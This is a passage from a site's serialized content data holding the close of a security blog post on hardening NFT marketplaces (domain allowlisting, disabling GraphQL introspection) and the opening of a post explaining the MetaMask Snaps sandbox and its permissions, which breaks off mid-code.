allowDomains",{"type":23,"tag":134,"props":34634,"children":34635},{"style":168},[34636],{"type":28,"value":171},{"type":23,"tag":134,"props":34638,"children":34639},{"style":179},[34640],{"type":28,"value":22511},{"type":23,"tag":134,"props":34642,"children":34643},{"style":1461},[34644],{"type":28,"value":34645},"'https://allowed-domain'",{"type":23,"tag":134,"props":34647,"children":34648},{"style":179},[34649],{"type":28,"value":31069},{"type":23,"tag":134,"props":34651,"children":34652},{"class":136,"line":147},[34653,34657,34661,34665,34670,34674,34679,34683,34687],{"type":23,"tag":134,"props":34654,"children":34655},{"style":189},[34656],{"type":28,"value":15049},{"type":23,"tag":134,"props":34658,"children":34659},{"style":179},[34660],{"type":28,"value":232},{"type":23,"tag":134,"props":34662,"children":34663},{"style":168},[34664],{"type":28,"value":20099},{"type":23,"tag":134,"props":34666,"children":34667},{"style":162},[34668],{"type":28,"value":34669},"allowDomains",{"type":23,"tag":134,"props":34671,"children":34672},{"style":179},[34673],{"type":28,"value":720},{"type":23,"tag":134,"props":34675,"children":34676},{"style":264},[34677],{"type":28,"value":34678},"includes",{"type":23,"tag":134,"props":34680,"children":34681},{"style":179},[34682],{"type":28,"value":272},{"type":23,"tag":134,"props":34684,"children":34685},{"style":162},[34686],{"type":28,"value":32213},{"type":23,"tag":134,"props":34688,"children":34689},{"style":179},[34690],{"type":28,"value":34691},")) {\n",{"type":23,"tag":134,"props":34693,"children":34694},{"class":136,"line":185},[34695,34700,34704,34709,34713,34718],{"type":23,"tag":134,"props":34696,"children":34697},{"style":189},[34698],{"type":28,"value":34699},"  throw",{"type":23,"tag":134,"props":34701,"children":34702},{"style":151},[34703],{"type":28,"value":31428},{"type":23,"tag":134,"props":34705,"children":34706},{"style":264},[34707],{"type":28,"value":34708}," ApolloError",{"type":23,"tag":134,"props":34710,"children":34711},{"style":179},[34712],{"type":28,"value":272},{"type":23,"tag":134,"props":34714,"children":34715},{"style":1461},[34716],{"type":28,"value":34717},"'invalid domain'",{"type":23,"tag":134,"props":34719,"children":34720},{"style":179},[34721],{"type":28,"value":1021},{"type":23,"tag":134,"props":34723,"children":34724},{"class":136,"line":221},[34725],{"type":23,"tag":134,"props":34726,"children":34727},{"style":179},[34728],{"type":28,"value":1098},{"type":23,"tag":24,"props":34730,"children":34731},{},[34732,34734,34741,34743,34750],{"type":28,"value":34733},"As ",{"type":23,"tag":31,"props":34735,"children":34738},{"href":34736,"rel":34737},"https://graphql.org/",[35],[34739],{"type":28,"value":34740},"GraphQl",{"type":28,"value":34742}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":23,"tag":31,"props":34744,"children":34747},{"href":34745,"rel":34746},"https://graphql.org/learn/introspection/",[35],[34748],{"type":28,"value":34749},"introspection",{"type":28,"value":34751}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":23,"tag":87,"props":34753,"children":34755},{"className":30858,"code":34754,"language":30860,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[34756],{"type":23,"tag":92,"props":34757,"children":34758},{"__ignoreMap":7},[34759,34788,34800,34812,34828],{"type":23,"tag":134,"props":34760,"children":34761},{"class":136,"line":137},[34762,34766,34771,34775,34779,34784],{"type":23,"tag":134,"props":34763,"children":34764},{"style":151},[34765],{"type":28,"value":9119},{"type":23,"tag":134,"props":34767,"children":34768},{"style":162},[34769],{"type":28,"value":34770}," server",{"type":23,"tag":134,"props":34772,"children":34773},{"style":168},[34774],{"type":28,"value":171},{"type":23,"tag":134,"props":34776,"children":34777},{"style":151},[34778],{"type":28,"value":31428},{"type":23,"tag":134,"props":34780,"children":34781},{"style":264},[34782],{"type":28,"value":34783}," ApolloServer",{"type":23,"tag":134,"props":34785,"children":34786},{"style":179},[34787],{"type":28,"value":14609},{"type":23,"tag":134,"props":34789,"children":34790},{"class":136,"line":147},[34791,34796],{"type":23,"tag":134,"props":34792,"children":34793},{"style":162},[34794],{"type":28,"value":34795},"  typeDefs",{"type":23,"tag":134,"props":34797,"children":34798},{"style":179},[34799],{"type":28,"value":687},{"type":23,"tag":134,"props":34801,"children":34802},{"class":136,"line":185},[34803,34808],{"type":23,"tag":134,"props":34804,"children":34805},{"style":162},[34806],{"type":28,"value":34807},"  resolvers",{"type":23,"tag":134,"props":34809,"children":34810},{"style":179},[34811],{"type":28,"value":687},{"type":23,"tag":134,"props":34813,"children":34814},{"class":136,"line":221},[34815,34820,34824],{"type":23,"tag":134,"props":34816,"children":34817},{"style":162},[34818],{"type":28,"value":34819},"  introspection:",{"type":23,"tag":134,"props":34821,"children":34822},{"style":151},[34823],{"type":28,"value":8519},{"type":23,"tag":134,"props":34825,"children":34826},{"style":179},[34827],{"type":28,"value":687},{"type":23,"tag":134,"props":34829,"children":34830},{"class":136,"line":332},[34831],{"type":23,"tag":134,"props":34832,"children":34833},{"style":179},[34834],{"type":28,"value":34835},"});\n",{"type":23,"tag":24,"props":34837,"children":34838},{},[34839,34841,34848,34850,34857],{"type":28,"value":34840},"Similarly, when ",{"type":23,"tag":31,"props":34842,"children":34845},{"href":34843,"rel":34844},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[35],[34846],{"type":28,"value":34847},"batching",{"type":28,"value":34849}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":23,"tag":31,"props":34851,"children":34854},{"href":34852,"rel":34853},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[35],[34855],{"type":28,"value":34856},"denial-of-service",{"type":28,"value":34858}," (DoS) attacks.",{"type":23,"tag":24,"props":34860,"children":34861},{},[34862],{"type":28,"value":34863},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":23,"tag":24,"props":34865,"children":34866},{},[34867],{"type":28,"value":34868},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":23,"tag":34870,"props":34871,"children":34872},"h1",{"id":28425},[34873],{"type":28,"value":18423},{"type":23,"tag":24,"props":34875,"children":34876},{},[34877],{"type":28,"value":34878},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":23,"tag":24,"props":34880,"children":34881},{},[34882],{"type":28,"value":34883},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":23,"tag":61,"props":34885,"children":34887},{"id":34886},"disclaimer",[34888],{"type":28,"value":34889},"Disclaimer",{"type":23,"tag":24,"props":34891,"children":34892},{},[34893],{"type":28,"value":34894},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":23,"tag":2575,"props":34896,"children":34897},{},[34898],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":34900},[34901,34904,34910,34914,34915],{"id":28508,"depth":147,"text":28511,"children":34902},[34903],{"id":63,"depth":185,"text":66},{"id":30702,"depth":147,"text":30732,"children":34905},[34906,34907,34908,34909],{"id":30751,"depth":185,"text":30754},{"id":30816,"depth":185,"text":30819},{"id":33648,"depth":185,"text":33651},{"id":33938,"depth":185,"text":33941},{"id":34283,"depth":147,"text":34286,"children":34911},[34912,34913],{"id":34305,"depth":185,"text":34308},{"id":34355,"depth":185,"text":34358},{"id":34439,"depth":147,"text":34445},{"id":34886,"depth":147,"text":34889},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":34920,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":34921,"description":34922,"author":34923,"image":34924,"date":34926,"isFeatured":15,"onBlogPage":15,"body":34927,"_type":2586,"_id":39943,"_source":2588,"_file":39944,"_stem":39945,"_extension":2591},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[30696,30695],{"src":34925,"height":13090,"width":13091},"/posts/metamask-snaps/header.png","2023-11-01",{"type":20,"children":34928,"toc":39924},[34929,34933,34938,34943,34948,34954,34959,34965,34978,34983,34988,34995,35027,35033,35038,35056,35063,35069,35083,35089,35109,35373,35401,35407,35426,35812,35831,35844,36162,36183,36454,36459,36465,36470,36483,36488,36501,36760,36804,36817,36823,36837,36843,36849,36862,36899,36905,36925,37036,37063,37069,37087,37100,37106,37111,37129,37240,37245,37266,37279,37296,37396,37422,37439,37561,37587,37599,37604,37610,37616,37621,37644,37649,37654,37660,37666,37693,38096,38123,38150,38156,38187,38496,38515,38520,38545,38558,38564,38591,38886,38922,38940,38945,38980,38985,38989,38994,39001,39006,39033,39810,39830,39836,39857,39906,39910,39915,39920],{"type":23,"tag":61,"props":34930,"children":34931},{"id":18432},[34932],{"type":28,"value":18435},{"type":23,"tag":24,"props":34934,"children":34935},{},[34936],{"type":28,"value":34937},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":23,"tag":24,"props":34939,"children":34940},{},[34941],{"type":28,"value":34942},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":23,"tag":24,"props":34944,"children":34945},{},[34946],{"type":28,"value":34947},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":23,"tag":61,"props":34949,"children":34951},{"id":34950},"sandbox-security",[34952],{"type":28,"value":34953},"Sandbox Security",{"type":23,"tag":24,"props":34955,"children":34956},{},[34957],{"type":28,"value":34958},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":23,"tag":9072,"props":34960,"children":34962},{"id":34961},"permission-based-security",[34963],{"type":28,"value":34964},"Permission-based security",{"type":23,"tag":24,"props":34966,"children":34967},{},[34968,34970,34976],{"type":28,"value":34969},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":23,"tag":92,"props":34971,"children":34973},{"className":34972},[],[34974],{"type":28,"value":34975},"snap.manifest.json",{"type":28,"value":34977}," file and can be critical to security.",{"type":23,"tag":24,"props":34979,"children":34980},{},[34981],{"type":28,"value":34982},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":23,"tag":24,"props":34984,"children":34985},{},[34986],{"type":28,"value":34987},"Here are the critical permissions possible to be given to a snap:",{"type":23,"tag":24,"props":34989,"children":34990},{},[34991],{"type":23,"tag":1116,"props":34992,"children":34994},{"alt":7,"src":34993},"/posts/metamask-snaps/permissions.png",[],{"type":23,"tag":16158,"props":34996,"children":34997},{},[34998,35016],{"type":23,"tag":4894,"props":34999,"children":35000},{},[35001,35007,35008,35014],{"type":23,"tag":92,"props":35002,"children":35004},{"className":35003},[],[35005],{"type":28,"value":35006},"snap_getBip44Entropy",{"type":28,"value":10458},{"type":23,"tag":92,"props":35009,"children":35011},{"className":35010},[],[35012],{"type":28,"value":35013},"snap_getBip32Entropy",{"type":28,"value":35015}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":23,"tag":4894,"props":35017,"children":35018},{},[35019,35025],{"type":23,"tag":92,"props":35020,"children":35022},{"className":35021},[],[35023],{"type":28,"value":35024},"endowment:transaction-insight",{"type":28,"value":35026}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":23,"tag":9072,"props":35028,"children":35030},{"id":35029},"snap-execution-environment",[35031],{"type":28,"value":35032},"Snap execution environment",{"type":23,"tag":24,"props":35034,"children":35035},{},[35036],{"type":28,"value":35037},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":23,"tag":4890,"props":35039,"children":35040},{},[35041,35046,35051],{"type":23,"tag":4894,"props":35042,"children":35043},{},[35044],{"type":28,"value":35045},"An isolated iframe",{"type":23,"tag":4894,"props":35047,"children":35048},{},[35049],{"type":28,"value":35050},"LavaMoat",{"type":23,"tag":4894,"props":35052,"children":35053},{},[35054],{"type":28,"value":35055},"SES (Secure EcmaScript)",{"type":23,"tag":24,"props":35057,"children":35058},{},[35059],{"type":23,"tag":1116,"props":35060,"children":35062},{"alt":7,"src":35061},"/posts/metamask-snaps/environment.png",[],{"type":23,"tag":9072,"props":35064,"children":35066},{"id":35065},"isolated-iframe-layer-1",[35067],{"type":28,"value":35068},"Isolated Iframe - Layer 1",{"type":23,"tag":24,"props":35070,"children":35071},{},[35072,35074,35081],{"type":28,"value":35073},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":23,"tag":31,"props":35075,"children":35078},{"href":35076,"rel":35077},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[35],[35079],{"type":28,"value":35080},"Iframe",{"type":28,"value":35082}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":23,"tag":18368,"props":35084,"children":35086},{"id":35085},"the-framework-metamask-extension-repo",[35087],{"type":28,"value":35088},"The Framework: Metamask-Extension Repo",{"type":23,"tag":24,"props":35090,"children":35091},{},[35092,35094,35100,35102,35108],{"type":28,"value":35093},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":23,"tag":92,"props":35095,"children":35097},{"className":35096},[],[35098],{"type":28,"value":35099},"metamask-controller.js",{"type":28,"value":35101}," file. Here's a glimpse of the relevant ",{"type":23,"tag":31,"props":35103,"children":35106},{"href":35104,"rel":35105},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[35],[35107],{"type":28,"value":92},{"type":28,"value":1697},{"type":23,"tag":87,"props":35110,"children":35114},{"className":35111,"code":35112,"language":35113,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[35115],{"type":23,"tag":92,"props":35116,"children":35117},{"__ignoreMap":7},[35118,35126,35134,35154,35202,35237,35254,35262,35304,35311,35318,35326,35354,35366],{"type":23,"tag":134,"props":35119,"children":35120},{"class":136,"line":137},[35121],{"type":23,"tag":134,"props":35122,"children":35123},{"style":141},[35124],{"type":28,"value":35125},"// Import snaps-controllers\n",{"type":23,"tag":134,"props":35127,"children":35128},{"class":136,"line":147},[35129],{"type":23,"tag":134,"props":35130,"children":35131},{"style":141},[35132],{"type":28,"value":35133},"// ...\n",{"type":23,"tag":134,"props":35135,"children":35136},{"class":136,"line":185},[35137,35141,35146,35150],{"type":23,"tag":134,"props":35138,"children":35139},{"style":151},[35140],{"type":28,"value":9119},{"type":23,"tag":134,"props":35142,"children":35143},{"style":162},[35144],{"type":28,"value":35145}," snapExecutionServiceArgs",{"type":23,"tag":134,"props":35147,"children":35148},{"style":168},[35149],{"type":28,"value":171},{"type":23,"tag":134,"props":35151,"children":35152},{"style":179},[35153],{"type":28,"value":463},{"type":23,"tag":134,"props":35155,"children":35156},{"class":136,"line":221},[35157,35162,35166,35171,35175,35180,35184,35189,35193,35198],{"type":23,"tag":134,"props":35158,"children":35159},{"style":162},[35160],{"type":28,"value":35161},"  iframeUrl:",{"type":23,"tag":134,"props":35163,"children":35164},{"style":151},[35165],{"type":28,"value":31428},{"type":23,"tag":134,"props":35167,"children":35168},{"style":264},[35169],{"type":28,"value":35170}," URL",{"type":23,"tag":134,"props":35172,"children":35173},{"style":179},[35174],{"type":28,"value":272},{"type":23,"tag":134,"props":35176,"children":35177},{"style":162},[35178],{"type":28,"value":35179},"process",{"type":23,"tag":134,"props":35181,"children":35182},{"style":179},[35183],{"type":28,"value":720},{"type":23,"tag":134,"props":35185,"children":35186},{"style":162},[35187],{"type":28,"value":35188},"env",{"type":23,"tag":134,"props":35190,"children":35191},{"style":179},[35192],{"type":28,"value":720},{"type":23,"tag":134,"props":35194,"children":35195},{"style":162},[35196],{"type":28,"value":35197},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":23,"tag":134,"props":35199,"children":35200},{"style":179},[35201],{"type":28,"value":6194},{"type":23,"tag":134,"props":35203,"children":35204},{"class":136,"line":332},[35205,35210,35215,35219,35224,35228,35233],{"type":23,"tag":134,"props":35206,"children":35207},{"style":162},[35208],{"type":28,"value":35209},"  messenger:",{"type":23,"tag":134,"props":35211,"children":35212},{"style":151},[35213],{"type":28,"value":35214}," this",{"type":23,"tag":134,"props":35216,"children":35217},{"style":179},[35218],{"type":28,"value":720},{"type":23,"tag":134,"props":35220,"children":35221},{"style":162},[35222],{"type":28,"value":35223},"controllerMessenger",{"type":23,"tag":134,"props":35225,"children":35226},{"style":179},[35227],{"type":28,"value":720},{"type":23,"tag":134,"props":35229,"children":35230},{"style":264},[35231],{"type":28,"value":35232},"getRestricted",{"type":23,"tag":134,"props":35234,"children":35235},{"style":179},[35236],{"type":28,"value":14609},{"type":23,"tag":134,"props":35238,"children":35239},{"class":136,"line":438},[35240,35245,35250],{"type":23,"tag":134,"props":35241,"children":35242},{"style":162},[35243],{"type":28,"value":35244},"    name:",{"type":23,"tag":134,"props":35246,"children":35247},{"style":1461},[35248],{"type":28,"value":35249}," 'ExecutionService'",{"type":23,"tag":134,"props":35251,"children":35252},{"style":179},[35253],{"type":28,"value":687},{"type":23,"tag":134,"props":35255,"children":35256},{"class":136,"line":466},[35257],{"type":23,"tag":134,"props":35258,"children":35259},{"style":179},[35260],{"type":28,"value":35261},"  }),\n",{"type":23,"tag":134,"props":35263,"children":35264},{"class":136,"line":479},[35265,35270,35274,35278,35283,35287,35292,35296,35300],{"type":23,"tag":134,"props":35266,"children":35267},{"style":162},[35268],{"type":28,"value":35269},"  setupSnapProvider:",{"type":23,"tag":134,"props":35271,"children":35272},{"style":151},[35273],{"type":28,"value":35214},{"type":23,"tag":134,"props":35275,"children":35276},{"style":179},[35277],{"type":28,"value":720},{"type":23,"tag":134,"props":35279,"children":35280},{"style":162},[35281],{"type":28,"value":35282},"setupSnapProvider",{"type":23,"tag":134,"props":35284,"children":35285},{"style":179},[35286],{"type":28,"value":720},{"type":23,"tag":134,"props":35288,"children":35289},{"style":264},[35290],{"type":28,"value":35291},"bind",{"type":23,"tag":134,"props":35293,"children":35294},{"style":179},[35295],{"type":28,"value":272},{"type":23,"tag":134,"props":35297,"children":35298},{"style":151},[35299],{"type":28,"value":17166},{"type":23,"tag":134,"props":35301,"children":35302},{"style":179},[35303],{"type":28,"value":6194},{"type":23,"tag":134,"props":35305,"children":35306},{"class":136,"line":497},[35307],{"type":23,"tag":134,"props":35308,"children":35309},{"style":179},[35310],{"type":28,"value":16048},{"type":23,"tag":134,"props":35312,"children":35313},{"class":136,"line":518},[35314],{"type":23,"tag":134,"props":35315,"children":35316},{"emptyLinePlaceholder":15},[35317],{"type":28,"value":865},{"type":23,"tag":134,"props":35319,"children":35320},{"class":136,"line":527},[35321],{"type":23,"tag":134,"props":35322,"children":35323},{"style":141},[35324],{"type":28,"value":35325},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":23,"tag":134,"props":35327,"children":35328},{"class":136,"line":780},[35329,35333,35337,35341,35345,35349],{"type":23,"tag":134,"props":35330,"children":35331},{"style":162},[35332],{"type":28,"value":35179},{"type":23,"tag":134,"props":35334,"children":35335},{"style":179},[35336],{"type":28,"value":720},{"type":23,"tag":134,"props":35338,"children":35339},{"style":162},[35340],{"type":28,"value":35188},{"type":23,"tag":134,"props":35342,"children":35343},{"style":179},[35344],{"type":28,"value":720},{"type":23,"tag":134,"props":35346,"children":35347},{"style":162},[35348],{"type":28,"value":35197},{"type":23,"tag":134,"props":35350,"children":35351},{"style":168},[35352],{"type":28,"value":35353}," =\n",{"type":23,"tag":134,"props":35355,"children":35356},{"class":136,"line":797},[35357,35362],{"type":23,"tag":134,"props":35358,"children":35359},{"style":1461},[35360],{"type":28,"value":35361},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":23,"tag":134,"props":35363,"children":35364},{"style":179},[35365],{"type":28,"value":182},{"type":23,"tag":134,"props":35367,"children":35368},{"class":136,"line":814},[35369],{"type":23,"tag":134,"props":35370,"children":35371},{"style":141},[35372],{"type":28,"value":35133},{"type":23,"tag":24,"props":35374,"children":35375},{},[35376,35378,35384,35386,35392,35394,35399],{"type":28,"value":35377},"This code is defining the ",{"type":23,"tag":92,"props":35379,"children":35381},{"className":35380},[],[35382],{"type":28,"value":35383},"snapExecutionServiceArgs",{"type":28,"value":35385}," object, which contains information required for the ",{"type":23,"tag":92,"props":35387,"children":35389},{"className":35388},[],[35390],{"type":28,"value":35391},"IframeExecutionService",{"type":28,"value":35393}," to execute snaps. The ",{"type":23,"tag":92,"props":35395,"children":35397},{"className":35396},[],[35398],{"type":28,"value":35197},{"type":28,"value":35400}," points to the location where the execution environment resides.",{"type":23,"tag":18368,"props":35402,"children":35404},{"id":35403},"executing-snaps-iframeexecutionservice-in-action",[35405],{"type":28,"value":35406},"Executing Snaps: IframeExecutionService in Action",{"type":23,"tag":24,"props":35408,"children":35409},{},[35410,35412,35417,35419,35425],{"type":28,"value":35411},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":23,"tag":92,"props":35413,"children":35415},{"className":35414},[],[35416],{"type":28,"value":35391},{"type":28,"value":35418}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":23,"tag":31,"props":35420,"children":35423},{"href":35421,"rel":35422},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[35],[35424],{"type":28,"value":92},{"type":28,"value":1697},{"type":23,"tag":87,"props":35427,"children":35431},{"className":35428,"code":35429,"language":35430,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[35432],{"type":23,"tag":92,"props":35433,"children":35434},{"__ignoreMap":7},[35435,35443,35472,35502,35555,35592,35599,35606,35614,35621,35628,35636,35671,35679,35735,35797,35805],{"type":23,"tag":134,"props":35436,"children":35437},{"class":136,"line":137},[35438],{"type":23,"tag":134,"props":35439,"children":35440},{"style":141},[35441],{"type":28,"value":35442},"// Register message handlers for snap interactions\n",{"type":23,"tag":134,"props":35444,"children":35445},{"class":136,"line":147},[35446,35450,35454,35459,35463,35468],{"type":23,"tag":134,"props":35447,"children":35448},{"style":151},[35449],{"type":28,"value":17166},{"type":23,"tag":134,"props":35451,"children":35452},{"style":179},[35453],{"type":28,"value":720},{"type":23,"tag":134,"props":35455,"children":35456},{"style":162},[35457],{"type":28,"value":35458},"#messenger",{"type":23,"tag":134,"props":35460,"children":35461},{"style":179},[35462],{"type":28,"value":720},{"type":23,"tag":134,"props":35464,"children":35465},{"style":264},[35466],{"type":28,"value":35467},"registerActionHandler",{"type":23,"tag":134,"props":35469,"children":35470},{"style":179},[35471],{"type":28,"value":642},{"type":23,"tag":134,"props":35473,"children":35474},{"class":136,"line":185},[35475,35480,35484,35489,35493,35498],{"type":23,"tag":134,"props":35476,"children":35477},{"style":1461},[35478],{"type":28,"value":35479},"  `",{"type":23,"tag":134,"props":35481,"children":35482},{"style":151},[35483],{"type":28,"value":33605},{"type":23,"tag":134,"props":35485,"children":35486},{"style":162},[35487],{"type":28,"value":35488},"controllerName",{"type":23,"tag":134,"props":35490,"children":35491},{"style":151},[35492],{"type":28,"value":33637},{"type":23,"tag":134,"props":35494,"children":35495},{"style":1461},[35496],{"type":28,"value":35497},":handleRpcRequest`",{"type":23,"tag":134,"props":35499,"children":35500},{"style":179},[35501],{"type":28,"value":687},{"type":23,"tag":134,"props":35503,"children":35504},{"class":136,"line":221},[35505,35510,35514,35519,35523,35528,35532,35537,35541,35546,35550],{"type":23,"tag":134,"props":35506,"children":35507},{"style":151},[35508],{"type":28,"value":35509},"  async",{"type":23,"tag":134,"props":35511,"children":35512},{"style":179},[35513],{"type":28,"value":232},{"type":23,"tag":134,"props":35515,"children":35516},{"style":162},[35517],{"type":28,"value":35518},"snapId",{"type":23,"tag":134,"props":35520,"children":35521},{"style":168},[35522],{"type":28,"value":1697},{"type":23,"tag":134,"props":35524,"children":35525},{"style":597},[35526],{"type":28,"value":35527}," string",{"type":23,"tag":134,"props":35529,"children":35530},{"style":179},[35531],{"type":28,"value":242},{"type":23,"tag":134,"props":35533,"children":35534},{"style":162},[35535],{"type":28,"value":35536},"options",{"type":23,"tag":134,"props":35538,"children":35539},{"style":168},[35540],{"type":28,"value":1697},{"type":23,"tag":134,"props":35542,"children":35543},{"style":597},[35544],{"type":28,"value":35545}," SnapRpcHookArgs",{"type":23,"tag":134,"props":35547,"children":35548},{"style":179},[35549],{"type":28,"value":252},{"type":23,"tag":134,"props":35551,"children":35552},{"style":151},[35553],{"type":28,"value":35554},"=>\n",{"type":23,"tag":134,"props":35556,"children":35557},{"class":136,"line":332},[35558,35563,35567,35572,35576,35580,35584,35588],{"type":23,"tag":134,"props":35559,"children":35560},{"style":151},[35561],{"type":28,"value":35562},"    this",{"type":23,"tag":134,"props":35564,"children":35565},{"style":179},[35566],{"type":28,"value":720},{"type":23,"tag":134,"props":35568,"children":35569},{"style":264},[35570],{"type":28,"value":35571},"handleRpcRequest",{"type":23,"tag":134,"props":35573,"children":35574},{"style":179},[35575],{"type":28,"value":272},{"type":23,"tag":134,"props":35577,"children":35578},{"style":162},[35579],{"type":28,"value":35518},{"type":23,"tag":134,"props":35581,"children":35582},{"style":179},[35583],{"type":28,"value":242},{"type":23,"tag":134,"props":35585,"children":35586},{"style":162},[35587],{"type":28,"value":35536},{"type":23,"tag":134,"props":35589,"children":35590},{"style":179},[35591],{"type":28,"value":6194},{"type":23,"tag":134,"props":35593,"children":35594},{"class":136,"line":438},[35595],{"type":23,"tag":134,"props":35596,"children":35597},{"style":179},[35598],{"type":28,"value":1021},{"type":23,"tag":134,"props":35600,"children":35601},{"class":136,"line":466},[35602],{"type":23,"tag":134,"props":35603,"children":35604},{"emptyLinePlaceholder":15},[35605],{"type":28,"value":865},{"type":23,"tag":134,"props":35607,"children":35608},{"class":136,"line":479},[35609],{"type":23,"tag":134,"props":35610,"children":35611},{"style":141},[35612],{"type":28,"value":35613},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":23,"tag":134,"props":35615,"children":35616},{"class":136,"line":497},[35617],{"type":23,"tag":134,"props":35618,"children":35619},{"style":141},[35620],{"type":28,"value":35133},{"type":23,"tag":134,"props":35622,"children":35623},{"class":136,"line":518},[35624],{"type":23,"tag":134,"props":35625,"children":35626},{"emptyLinePlaceholder":15},[35627],{"type":28,"value":865},{"type":23,"tag":134,"props":35629,"children":35630},{"class":136,"line":527},[35631],{"type":23,"tag":134,"props":35632,"children":35633},{"style":141},[35634],{"type":28,"value":35635},"// Execute a snap\n",{"type":23,"tag":134,"props":35637,"children":35638},{"class":136,"line":780},[35639,35644,35649,35653,35658,35662,35667],{"type":23,"tag":134,"props":35640,"children":35641},{"style":162},[35642],{"type":28,"value":35643},"async",{"type":23,"tag":134,"props":35645,"children":35646},{"style":264},[35647],{"type":28,"value":35648}," executeSnap",{"type":23,"tag":134,"props":35650,"children":35651},{"style":179},[35652],{"type":28,"value":272},{"type":23,"tag":134,"props":35654,"children":35655},{"style":162},[35656],{"type":28,"value":35657},"snapData",{"type":23,"tag":134,"props":35659,"children":35660},{"style":179},[35661],{"type":28,"value":14800},{"type":23,"tag":134,"props":35663,"children":35664},{"style":162},[35665],{"type":28,"value":35666},"SnapExecutionData",{"type":23,"tag":134,"props":35668,"children":35669},{"style":179},[35670],{"type":28,"value":14272},{"type":23,"tag":134,"props":35672,"children":35673},{"class":136,"line":797},[35674],{"type":23,"tag":134,"props":35675,"children":35676},{"style":141},[35677],{"type":28,"value":35678},"  // Initialize job, streams, and environment\n",{"type":23,"tag":134,"props":35680,"children":35681},{"class":136,"line":814},[35682,35687,35691,35696,35701,35705,35710,35714,35718,35723,35727,35731],{"type":23,"tag":134,"props":35683,"children":35684},{"style":151},[35685],{"type":28,"value":35686},"  